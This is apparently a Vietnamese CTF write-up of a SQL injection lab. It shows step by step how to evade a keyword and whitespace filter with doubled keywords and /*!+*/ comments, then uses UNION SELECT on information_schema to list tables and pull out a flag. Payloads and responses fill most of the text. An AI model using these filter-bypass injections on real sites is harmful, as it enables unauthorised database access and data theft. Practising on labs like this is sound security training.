

← → ↻ ⚠ Not secure | root0x00.altervista.org/sqli/waf2.php?id=1%27

Query Failed You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near "1'" at line 1

Bài này cũng tương tự ta cần tìm cách bypass được filter của trang web. Đầu tiên em sẽ thử kiểm tra kiểu input và kết quả là string. Tức là query có dạng `id=1'[query]-- -'`

Tiếp theo ta cần bypass filter để sử dụng được union select.

Đầu tiên em cứ thử với `union select 1,2,3,4,5` để xem filter sẽ xử lí như thế nào.

← → ↻ ⚠ Not secure | root0x00.altervista.org/sqli/level1.php?id=1%27union%20select%201,2,3,4,5%27

Query Failed You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near '1,2,3,4,5'" at line 1

Filter sẽ bỏ đi union và select. Ta sẽ counter bằng cách dùng ununionion seselectlect

Query: `ununionion seselectlect 1,2,3,4,5`

← → ↻ ⚠ Not secure | root0x00.altervista.org/sqli/level1.php?id=1%27ununionion%20seselectlect%201,2,3,4,5%27

Query Failed You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near 'unionselect1,2,3,4,5'" at line 1

Filter tiếp tục bỏ đi dấu khoảng cách. Ta có thể dùng dấu + thay cho khoảng trắng. Sau khi thử các cách thì để bypass được là dùng `/*!+*/`.

Query: `id=1'and/*!+*/1=2/*!+*/ununionion/*!+*/seselectlect/*!+*/1,2,3,4,5--/*!+*/-'`

← → ↻ ⚠ Not secure | root0x00.altervista.org/sqli/level1.php?id=1%27ununionion/\*!+\*/seselectlect/\*!+\*/1,2,3,4,5%27

Hello and Welcome To Our Site, admin

**You are not admin and not Allowed to see private DATA , Please logi**

[Log In Admin](#)

[Me](#)

Tiếp theo tương tự ta lấy tên bảng và tên cột. Tuy nhiên tới đây phải đổi payload 1 tí cho phù hợp. Thay vì dùng -- để comment phần còn lại thì ta tạo 1 điều kiện luôn đúng. `AND'1'='1`

Query:

`'/*!and(false)uniUNIONon*//*!seISELECTect*//*!1,2,3,4,group_concat(table_name)*//*!from*//*!infor  
mation_schema.tables*//*!where*/table_schema=database()AND'1'='1`

← → ↻ ⚠ Not secure | root0x00.altervista.org/sqli/level1.php?id=1%27/\*!and(false)uniUNIONon\*//\*!seISELECTect\*//\*!1,2,3,4,group\_concat(table\_name)\*//\*!from\*//\*!information\_schema

Hello and Welcome To Our Site, BlueMilkshake\_0,books,flag,users,{J\_FL4G\_T4BL3\_0d},{j\_fl4g\_t4b13\_0D}

**You are not admin and not Allowed to see private DATA , Please login to Continue leet....**

[Log In Admin](#)

[Me](#)

← → ↻ ⚠ Not secure | root0x00.altervista.org/sqli/level1.php?id=1%27/\*!and(false)uniUNIONon\*//\*!seISELECTect\*//\*!1,2,3,4,group\_concat(flag)\*//\*!from\*//\*!flag\*//\*!

Hello and Welcome To Our Site, flag,id,password,username

**You are not admin and not Allowed to see private DATA ,**

[Log In Admin](#)

[Me](#)

Đến đây đã có bảng flag và cột flag. Bước cuối là lấy value ra:

Query:

id=1'/\*!and(false)uniUNIONon\*//\*!seISELECTect\*//\*!1,2,3,4,group\_concat(flag)\*//\*!from\*//\*!flag\*//\*!  
where\*/\*!flag='flag'AND'1'='1

← → ↻ ⚠ Not secure | root0x00.altervista.org/sqli/level1.php?id=1%27/\*!and(false)uniUNIONon\*//\*!seISELECTect\*//\*!1,2,3,4,group\_concat(flag)\*//\*!from\*//\*!flag\*//\*!where'%27flag%27=%

Hello and Welcome To Our Site, flag{dDhbLnVnQF1UOypEbmtjd24jQ1VpP21fckNKLHZMI112QEFrKEItMzJ9fUBfLHRjTjozWFNETUxpQFN

**You are not admin and not Allowed to see private DATA , Please login to Continue leet....**

[Log In Admin](#)

[Me](#)